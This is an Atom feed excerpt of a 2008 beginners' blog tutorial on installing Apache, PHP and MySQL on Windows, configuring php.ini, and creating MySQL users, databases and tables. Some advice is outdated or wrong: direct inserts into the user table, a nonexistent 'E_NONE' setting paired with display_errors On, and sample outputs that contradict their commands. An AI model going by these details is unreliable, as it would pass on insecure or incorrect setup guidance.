MySQL'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-5866851019079254555</id><published>2008-03-22T00:23:00.002-07:00</published><updated>2008-03-22T00:25:53.149-07:00</updated><title type='text'>Create New Table</title><content type='html'>For this example we'll create two tables. The first one describe the species of animals available in a pet store and the second will store the data of a pet in the store. The table names will be species and pet&lt;br /&gt;&lt;br /&gt;The species table will consist of the id and the animal species, and the pet table will consist of animal id, species, sex, and price&lt;br /&gt;&lt;br /&gt;mysql&gt; CREATE TABLE species (id INT NOT NULL AUTO_INCREMENT, species varchar(30) NOT NULL, primary key(id));&lt;br /&gt;Query OK, 0 rows affected (0.02 sec)&lt;br /&gt;&lt;br /&gt;mysql&gt; CREATE TABLE pet(id INT NOT NULL AUTO_INCREMENT, sp_id INT NOT NULL, sex CHAR(1) NOT NULL, price DECIMAL(4,2) NOT NULL, primary key(id));&lt;br /&gt;Query OK, 0 rows affected (0.03 sec)&lt;br /&gt;&lt;br /&gt;mysql&gt; SHOW tables;&lt;br /&gt;+--------------------+&lt;br /&gt;| Tables_in_petstore |&lt;br /&gt;+--------------------+&lt;br /&gt;| pet                |&lt;br /&gt;| species             |&lt;br /&gt;+--------------------+&lt;br /&gt;2 rows in set (0.00 sec)&lt;br /&gt;&lt;br /&gt;mysql&gt; DESCRIBE species;&lt;br /&gt;+---------+-------------+----+-----+---------+---------------+&lt;br /&gt;| Field   | Type        |Null| Key | Default | Extra         |&lt;br /&gt;+---------+-------------+----+-----+---------+---------------+&lt;br /&gt;| id      | int(11)     |    | PRI | NULL    | auto_increment| &lt;br /&gt;| name    | varchar(30) |    |     |         |               |&lt;br /&gt;+---------+-------------+----+-----+---------+---------------+&lt;br /&gt;2 rows in set (0.05 sec)&lt;br /&gt;&lt;br /&gt;mysql&gt; DESC pet;&lt;br /&gt;+-------+--------------+----+-----+---------+----------------+&lt;br /&gt;| Field | Type         |Null| Key | Default | Extra          |&lt;br /&gt;+-------+--------------+----+-----+---------+----------------+&lt;br /&gt;| id    | int(11)      |    | PRI | NULL    | auto_increment |&lt;br /&gt;| sp_id | int(11)      |    |     | 0       |                |&lt;br /&gt;| sex   | char(1)      |    |     |         |                |&lt;br /&gt;| price | decimal(4,2) |    |     | 0.00    |                |&lt;br /&gt;+-------+--------------+----+-----+---------+----------------+&lt;br /&gt;4 rows in set (0.00 sec)&lt;br /&gt;&lt;br /&gt;The SQL sytax to create table is : CREATE TABLE &lt;tablename&gt; (&lt;list of fields&gt;)&lt;br /&gt;&lt;br /&gt;The DESCRIBE or DESC statement is used to show a description of a table. You can also use EXPLAIN or SHOW COLUMNS&lt;br /&gt;&lt;br /&gt;mysql&gt; EXPLAIN pet;&lt;br /&gt;+-------+--------------+----+-----+---------+----------------+&lt;br /&gt;| Field | Type         |Null| Key | Default | Extra          |&lt;br /&gt;+-------+--------------+----+-----+---------+----------------+&lt;br /&gt;| id    | int(11)      |    | PRI | NULL    | auto_increment |&lt;br /&gt;| sp_id | int(11)      |    |     | 0       |                |&lt;br /&gt;| sex   | char(1)      |    |     |         |                |&lt;br /&gt;| price | decimal(4,2) |    |     | 0.00    |                |&lt;br /&gt;+-------+--------------+----+-----+---------+----------------+&lt;br /&gt;4 rows in set (0.00 sec)&lt;br /&gt;&lt;br /&gt;mysql&gt; SHOW COLUMNS FROM pet;&lt;br /&gt;+-------+--------------+----+-----+---------+----------------+&lt;br /&gt;| Field | Type         |Null| Key | Default | Extra          |&lt;br /&gt;+-------+--------------+----+-----+---------+----------------+&lt;br /&gt;| id    | int(11)      |    | PRI | NULL    | auto_increment |&lt;br /&gt;| sp_id | int(11)      |    |     | 0       |                |&lt;br /&gt;| sex   | char(1)      |    |     |         |                |&lt;br /&gt;| price | decimal(4,2) |    |     | 0.00    |                |&lt;br /&gt;+-------+--------------+----+-----+---------+----------------+&lt;br /&gt;4 rows in set (0.00 sec)&lt;br /&gt;&lt;br /&gt;Source : http://www.php-mysql-tutorial.com/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-5866851019079254555?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/5866851019079254555/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=5866851019079254555&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/5866851019079254555'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/5866851019079254555'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/create-new-table.html' title='Create New Table'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-4592712345258681791</id><published>2008-03-22T00:23:00.001-07:00</published><updated>2008-03-22T00:23:42.506-07:00</updated><title type='text'>Create New MySQL Database</title><content type='html'>You need to use mysqladmin to create MySQL database. The command is simple just write mysqladmin in a dos window followed by the database name you want to create &lt;br /&gt;C:\&gt;mysqladmin create petstore &lt;br /&gt;&lt;br /&gt;C:\&gt;mysql&lt;br /&gt;Welcome to the MySQL monitor. Commands end with ; or \g.&lt;br /&gt;Your MySQL connection id is 3 to server version: 4.0.18-nt &lt;br /&gt;&lt;br /&gt;Type 'help;' or '\h' for help. Type '\c' to clear the buffer.&lt;br /&gt;&lt;br /&gt;mysql&gt; SHOW databases;&lt;br /&gt;+----------+&lt;br /&gt;| Database |&lt;br /&gt;+----------+&lt;br /&gt;| mysql    |&lt;br /&gt;| petstore |&lt;br /&gt;| test     |&lt;br /&gt;+----------+&lt;br /&gt;2 rows in set (0.00 sec)&lt;br /&gt;&lt;br /&gt;mysql&gt;&lt;br /&gt;&lt;br /&gt;You can also type the query in mysql&gt; prompt like this&lt;br /&gt;&lt;br /&gt;mysql&gt; CREATE database petstore;&lt;br /&gt;Query OK, 1 row affected (0.00 sec)&lt;br /&gt;&lt;br /&gt;To show available databases in mysql use the command show databases on mysql&gt; prompt. Now use the database by typing USE petstore and then type SHOW tables to see what tables are available in the database&lt;br /&gt;&lt;br /&gt;mysql&gt; USE petstore;&lt;br /&gt;Database changed&lt;br /&gt;mysql&gt; SHOW tables;&lt;br /&gt;Empty set (0.00 sec)&lt;br /&gt;&lt;br /&gt;Next I will show you how to create table in mysql database&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-4592712345258681791?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/4592712345258681791/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=4592712345258681791&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/4592712345258681791'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/4592712345258681791'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/create-new-mysql-database.html' title='Create New MySQL Database'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-5747839254851973854</id><published>2008-03-22T00:14:00.000-07:00</published><updated>2008-03-22T00:15:12.487-07:00</updated><title type='text'>Add New MySQL User</title><content type='html'>For adding a new user to MySQL you just need to add a new entry to user table in database mysql. Below is an example of adding new user phpcake with SELECT, INSERT and UPDATE privileges with the password mypass the SQL query is :&lt;br /&gt;mysql&gt; use mysql;&lt;br /&gt;Database changed &lt;br /&gt;&lt;br /&gt;mysql&gt; INSERT INTO user (host, user, password, select_priv, insert_priv, update_priv) VALUES ('localhost', 'phpcake', PASSWORD('mypass'), 'Y', 'Y', 'Y');&lt;br /&gt;Query OK, 1 row affected (0.20 sec)&lt;br /&gt;&lt;br /&gt;mysql&gt; FLUSH PRIVILEGES;&lt;br /&gt;Query OK, 1 row affected (0.01 sec) &lt;br /&gt;&lt;br /&gt;mysql&gt; SELECT host, user, password FROM user WHERE user = 'phpcake';&lt;br /&gt;+-----------+---------+------------------+&lt;br /&gt;| host      | user    | password         |&lt;br /&gt;+-----------+---------+------------------+&lt;br /&gt;| localhost | phpcake | 6f8c114b58f2ce9e |&lt;br /&gt;+-----------+---------+------------------+&lt;br /&gt;1 row in set (0.00 sec)&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;When adding a new user remember to encrypt the new password using PASSWORD() function provided by MySQL. As you can see in the above example the password mypass is encrypted to 6f8c114b58f2ce9e.&lt;br /&gt;&lt;br /&gt;Notice the the FLUSH PRIVILEGES statement. This tells the server to reload the grant tables. If you don't use it then you won't be able to connect to mysql using the new user account (at least until the server is reloaded).&lt;br /&gt;&lt;br /&gt;You can also specify other privileges to a new user by setting the values of these columns in user table to 'Y' when executing the INSERT query :&lt;br /&gt;Select_priv &lt;br /&gt;Insert_priv &lt;br /&gt;Update_priv &lt;br /&gt;Delete_priv &lt;br /&gt;Create_priv &lt;br /&gt;Drop_priv &lt;br /&gt;Reload_priv&lt;br /&gt;Shutdown_priv &lt;br /&gt;Process_priv &lt;br /&gt;File_priv &lt;br /&gt;Grant_priv &lt;br /&gt;References_priv&lt;br /&gt;Index_priv&lt;br /&gt;Alter_priv&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-5747839254851973854?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/5747839254851973854/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=5747839254851973854&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/5747839254851973854'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/5747839254851973854'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/add-new-mysql-user.html' title='Add New MySQL User'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-3975980210894211601</id><published>2008-03-22T00:11:00.000-07:00</published><updated>2008-12-09T04:54:05.789-08:00</updated><title type='text'>Starting MySQL</title><content type='html'>Before starting the MySQL client make sure the server is turned on. If you run Windows 9x start the mysqld.exe or if you run Windows 2000/XP run the mysqld-nt.exe&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_fpU10uqH0LU/R-SxXjrkcQI/AAAAAAAAAA0/SV7_9Bmu0x8/s1600-h/mysqld.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://1.bp.blogspot.com/_fpU10uqH0LU/R-SxXjrkcQI/AAAAAAAAAA0/SV7_9Bmu0x8/s320/mysqld.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5180460489656004866" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The --console option tells mysqld-nt not to remove the console window. if you are running Windows NT/2000/XP it's better to install MySQL as a service. That way mysql server will be automatically started when you start Windows. &lt;br /&gt;&lt;br /&gt;Use mysqld-nt --install to install mysqld as a service and mysqld-nt --remove to remove mysqld from the service list &lt;br /&gt;&lt;br /&gt;Once the server is on, open another DOS window and type mysql, you should see something like this &lt;br /&gt;C:\&gt;mysql&lt;br /&gt;Welcome to the MySQL monitor. Commands end with ; or \g.&lt;br /&gt;Your MySQL connection id is 3 to server version: 4.0.18-nt &lt;br /&gt;&lt;br /&gt;Type 'help;' or '\h' for help. Type '\c' to clear the buffer.&lt;br /&gt;&lt;br /&gt;mysql&gt;&lt;br /&gt;&lt;br /&gt;Or if you need to specify a user name and password you can start mysql like this : &lt;br /&gt;C:\&gt;mysql -h localhost -u root -p&lt;br /&gt;Enter password:&lt;br /&gt;Welcome to the MySQL monitor. Commands end with ; or \g.&lt;br /&gt;Your MySQL connection id is 4 to server version: 4.0.18-nt &lt;br /&gt;&lt;br /&gt;Type 'help;' or '\h' for help. Type '\c' to clear the buffer.&lt;br /&gt;&lt;br /&gt;mysql&gt;&lt;br /&gt;&lt;br /&gt;You can also specify the database you want to use. If you already have a database named petstore you can start mysql as&lt;br /&gt;C:\&gt;mysql petstore&lt;br /&gt;Welcome to the MySQL monitor. Commands end with ; or \g.&lt;br /&gt;Your MySQL connection id is 5 to server version: 4.0.18-nt &lt;br /&gt;&lt;br /&gt;Type 'help;' or '\h' for help. Type '\c' to clear the buffer.&lt;br /&gt;&lt;br /&gt;mysql&gt;&lt;br /&gt;&lt;br /&gt;Once you're done you can end mysql client by typing quit or exit at the mysql&gt; prompt&lt;br /&gt;mysql&gt; exit&lt;br /&gt;Bye &lt;br /&gt;&lt;br /&gt;C:\&gt;&lt;br /&gt;&lt;br /&gt;Note : If you get this kind of error message when trying to run mysql from the DOS window &lt;br /&gt;C:\&gt;mysql&lt;br /&gt;'mysql' is not recognized as an internal or external command,&lt;br /&gt;operable program or batch file.&lt;br /&gt;&lt;br /&gt;that means you haven't set the path to mysql bin directory. To solve the problem you can add the following line to your autoexec.bat file :&lt;br /&gt;&lt;br /&gt;path=%path%;c:\mysql\bin&lt;br /&gt;&lt;br /&gt;assuming that you install MySQL in c:\mysql. Or if you're using Windows XP you can go to :&lt;br /&gt;&lt;br /&gt;Start-&gt;Settings-&gt;Control Panel-&gt;System-&gt;Advanced-&gt;Environment Variables&lt;br /&gt;&lt;br /&gt;Chose Edit on the System Variables section and add c:\mysql\bin to the path environment variable.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-3975980210894211601?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/3975980210894211601/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=3975980210894211601&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/3975980210894211601'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/3975980210894211601'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/starting-mysql.html' title='Starting MySQL'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_fpU10uqH0LU/R-SxXjrkcQI/AAAAAAAAAA0/SV7_9Bmu0x8/s72-c/mysqld.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-7187267582720357980</id><published>2008-03-22T00:08:00.001-07:00</published><updated>2008-03-22T00:08:19.272-07:00</updated><title type='text'>Installing PHP</title><content type='html'>First, extract the PHP package ( php-4.3.10-Win32.zip ). I extracted the package in the directory where Apache was installed ( C:\Program Files\Apache Group\Apache2 ). Change the new created directory name to php ( just to make it shorter ). Then copy the file php.ini-dist in PHP directory to you windows directory ( C:\Windows or C:\Winnt depends on where you installed Windows ) and rename the file to php.ini. This is the PHP configuration file and we'll take a look what's in it later on.&lt;br /&gt;&lt;br /&gt;Next, move the php4ts.dll file from the newly created php directory into the sapi subdirectory. Quoting from php installation file you can also place php4ts.dll in other places such as :&lt;br /&gt;In the directory where apache.exe is start from ( C:\Program Files\Apache Group\Apache2 \bin)&lt;br /&gt;In your %SYSTEMROOT%\System32, %SYSTEMROOT%\system and %SYSTEMROOT% directory.&lt;br /&gt;Note: %SYSTEMROOT%\System32 only applies to Windows NT/2000/XP)&lt;br /&gt;In your whole %PATH%&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-7187267582720357980?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/7187267582720357980/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=7187267582720357980&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/7187267582720357980'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/7187267582720357980'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/installing-php.html' title='Installing PHP'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-2551497119784362699</id><published>2008-03-22T00:06:00.000-07:00</published><updated>2008-03-22T00:07:19.028-07:00</updated><title type='text'>Modifying File ( php.ini )</title><content type='html'>PHP stores all kinds of configuration in a file called php.ini.You can find this file in the directory where you installed PHP. Sometimes you will need to modify this file for example to use a PHP extension. I won't explain each and every configuration available just the ones that often need modification or special attention. &lt;br /&gt;&lt;br /&gt;Some of the configurations are : &lt;br /&gt;register_globals&lt;br /&gt;error_reporting and display_errors&lt;br /&gt;extension and extension_path&lt;br /&gt;session.save_path&lt;br /&gt;max_execution_time&lt;br /&gt;register_globals&lt;br /&gt;&lt;br /&gt;Before PHP 4.2.0 the default value for this configuration is On and after 4.2.0 the default value is Off. The reason for this change is because it is so easy to write insecure code with this value on. So make sure that this value is Off in php.ini.&lt;br /&gt;error_reporting and display_errors&lt;br /&gt;&lt;br /&gt;Set the value to error_reporting = E_ALL during development but after production set the value to error_reporting = E_NONE . &lt;br /&gt;&lt;br /&gt;The reason to use E_ALL during development is so you can catch most of the nasty bugs in your code. PHP will complain just about any errors you make and spit out all kinds of warning ( for example if you're trying to use an uninitialized variable ). &lt;br /&gt;&lt;br /&gt;However, after production you should change the value to E_NONE so PHP will keep quiet even if there's an error in your code. This way the user won't have to see all kinds of PHP error message when running the script. &lt;br /&gt;&lt;br /&gt;One important thing to note is that you will also need to set the value of display_erros to On. Even if you set error_reporting = E_ALL you will not get any error message ( no matter how buggy our script is ) unless display_errors is set to On.&lt;br /&gt;extension and extension_path&lt;br /&gt;&lt;br /&gt;PHP4 comes with about 51 extensions such as GD library ( for graphics creation and manipulation ), CURL, PostgreSQL support etc. These extensions are not turned on automatically. If you need to use the extension, first you need to specify the location of the extensions and then uncomment the extension you want. &lt;br /&gt;&lt;br /&gt;The value of extension_path must be set to the directory where the extension is installed which is PHP_INSTALL_DIR/extensions, with PHP_INSTALL_DIR is the directory where you install PHP. For example I installed PHP in C:\Program Files\Apache Group\Apache2\php so the extensions path is :&lt;br /&gt;&lt;br /&gt;extension_path = C:/Program Files/Apache Group/Apache2/php/extensions/ &lt;br /&gt;&lt;br /&gt;Don't forget to add that last slash or it won't work&lt;br /&gt;&lt;br /&gt;After specifying the extension_path you will need to uncomment the extension you want to use. In php.ini a comment is started using a semicolon (;). As an example if you want to use GD library then you must remove the semicolon at the beginning of ;extension=php_gd2.dll to extension=php_gd2.dll&lt;br /&gt;session.save_path&lt;br /&gt;&lt;br /&gt;This configuration tells PHP where to save the session data. You will need to set this value to an existing directory or you will not be able to use session. In Windows you can set this value as session.save_path = c:/windows/temp/&lt;br /&gt;max_execution_time&lt;br /&gt;&lt;br /&gt;The default value for max_execution_time is 30 ( seconds ). But for some scripts 30 seconds is just not enough to complete it's task. For example a database backup script may need more time to save a huge database.&lt;br /&gt;&lt;br /&gt;If you think your script will need extra time to finish the job you can set this to a higher value. For example to set the maximun script execution time to 15 minutes ( 900 seconds ) you can modify the configuration as max_execution_time = 900&lt;br /&gt;&lt;br /&gt;PHP have a convenient function to modify PHP configuration in runtime, ini_set(). Setting PHP configuration using this function will not make the effect permanent. It last only until the script ends.&lt;br /&gt;&lt;br /&gt;Source : http://www.php-mysql-tutorial.com/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-2551497119784362699?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/2551497119784362699/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=2551497119784362699&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/2551497119784362699'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/2551497119784362699'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/modifying-file-phpini.html' title='Modifying File ( php.ini )'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-1712257517697530798</id><published>2008-03-22T00:01:00.000-07:00</published><updated>2008-03-22T00:05:35.858-07:00</updated><title type='text'>Installing MySQL</title><content type='html'>First extract the package ( mysql-4.0.18-win.zip ) to a temporary directory, then run setup.exe. Keep clicking the next button to complete the installation. By default MySQL will be installed in C:\mysql.&lt;br /&gt;&lt;br /&gt;Open a DOS window and go to C:\mysql\bin and then run mysqld-nt --console , you should see some messages like these :&lt;br /&gt;&lt;br /&gt;C:\mysql\bin&gt;mysqld-nt --console&lt;br /&gt;InnoDB: The first specified data file .\ibdata1 did not exist:&lt;br /&gt;InnoDB: a new database to be created!&lt;br /&gt;040807 10:54:09 InnoDB: Setting file .\ibdata1 size to 10 MB&lt;br /&gt;InnoDB: Database physically writes the file full: wait...&lt;br /&gt;040807 10:54:11 InnoDB: Log file .\ib_logfile0 did not exist: new to be created &lt;br /&gt;&lt;br /&gt;InnoDB: Setting log file .\ib_logfile0 size to 5 MB&lt;br /&gt;InnoDB: Database physically writes the file full: wait...&lt;br /&gt;040807 10:54:12 InnoDB: Log file .\ib_logfile1 did not exist: new to be created&lt;br /&gt;&lt;br /&gt;InnoDB: Setting log file .\ib_logfile1 size to 5 MB&lt;br /&gt;InnoDB: Database physically writes the file full: wait...&lt;br /&gt;InnoDB: Doublewrite buffer not found: creating new&lt;br /&gt;InnoDB: Doublewrite buffer created&lt;br /&gt;InnoDB: Creating foreign key constraint system tables&lt;br /&gt;InnoDB: Foreign key constraint system tables created&lt;br /&gt;040807 10:54:31 InnoDB: Started&lt;br /&gt;mysqld-nt: ready for connections.&lt;br /&gt;Version: '4.0.18-nt' socket: '' port: 3306&lt;br /&gt;&lt;br /&gt;Now open another DOS window and type C:\mysql\bin\mysql &lt;br /&gt;&lt;br /&gt;if your installation is successful you will see the MySQL client running :&lt;br /&gt;&lt;br /&gt;C:\mysql\bin&gt;mysql&lt;br /&gt;Welcome to the MySQL monitor. Commands end with ; or \g.&lt;br /&gt;Your MySQL connection id is 1 to server version: 4.0.18-nt &lt;br /&gt;&lt;br /&gt;Type 'help;' or '\h' for help. Type '\c' to clear the buffer.&lt;br /&gt;&lt;br /&gt;mysql&gt;&lt;br /&gt;&lt;br /&gt;Type exit on the mysql&gt; prompt to quit the MySQL client. &lt;br /&gt;&lt;br /&gt;Now let's install MySQL as a Service. The process is simple just type mysqld-nt --install to install the service and net start mysql to run the service. But make sure to shutdown the server first using mysqladmin -u root shutdown&lt;br /&gt;&lt;br /&gt;C:\mysql\bin&gt;mysqladmin -u root shutdown&lt;br /&gt;&lt;br /&gt;C:\mysql\bin&gt;mysqld-nt --install&lt;br /&gt;Service successfully installed. &lt;br /&gt;&lt;br /&gt;C:\mysql\bin&gt;net start mysql&lt;br /&gt;&lt;br /&gt;The MySQL service was started successfully.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\mysql\bin&gt;mysql&lt;br /&gt;Welcome to the MySQL monitor. Commands end with ; or \g.&lt;br /&gt;Your MySQL connection id is 1 to server version: 4.0.18-nt&lt;br /&gt;&lt;br /&gt;Type 'help;' or '\h' for help. Type '\c' to clear the buffer.&lt;br /&gt;&lt;br /&gt;mysql&gt;&lt;br /&gt;&lt;br /&gt;Source : http://www.php-mysql-tutorial.com/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-1712257517697530798?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/1712257517697530798/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=1712257517697530798&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/1712257517697530798'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/1712257517697530798'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/installing-mysql.html' title='Installing MySQL'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-8510499518380010790</id><published>2008-03-21T21:38:00.000-07:00</published><updated>2008-12-09T04:54:06.322-08:00</updated><title type='text'>Installing Apache</title><content type='html'>The first step is to download the packages :&lt;br /&gt;Apache : www.apache.org&lt;br /&gt;PHP : www.php.net&lt;br /&gt;MySQL : www.mysql.com&lt;br /&gt;&lt;br /&gt;Installing apache is easy if you download the Microsoft Installer ( .msi ) package. Just double click on the icon to run the installation wizard. Click next until you see the Server Information window. You can enter localhost for both the Network Domain and Server Name. As for the administrator's email address you can enter anything you want. &lt;br /&gt;&lt;br /&gt;I'm using Windows XP and installed Apache as Service so everytime I start Windows Apache is automatically started.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_fpU10uqH0LU/R-SNmTrkcNI/AAAAAAAAAAc/mWzxgOhh4_g/s1600-h/install-apache-1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/_fpU10uqH0LU/R-SNmTrkcNI/AAAAAAAAAAc/mWzxgOhh4_g/s320/install-apache-1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5180421160640475346" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Click the Next button and choose Typical installation. Click Next one more time and choose where you want to install Apache ( I installed it in the default location C:\Program Files\Apache Group ). Click the Next button and then the Install button to complete the installation process.&lt;br /&gt;&lt;br /&gt;To see if you Apache installation was successful open up you browser and type http://localhost in the address bar. You should see something like this :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 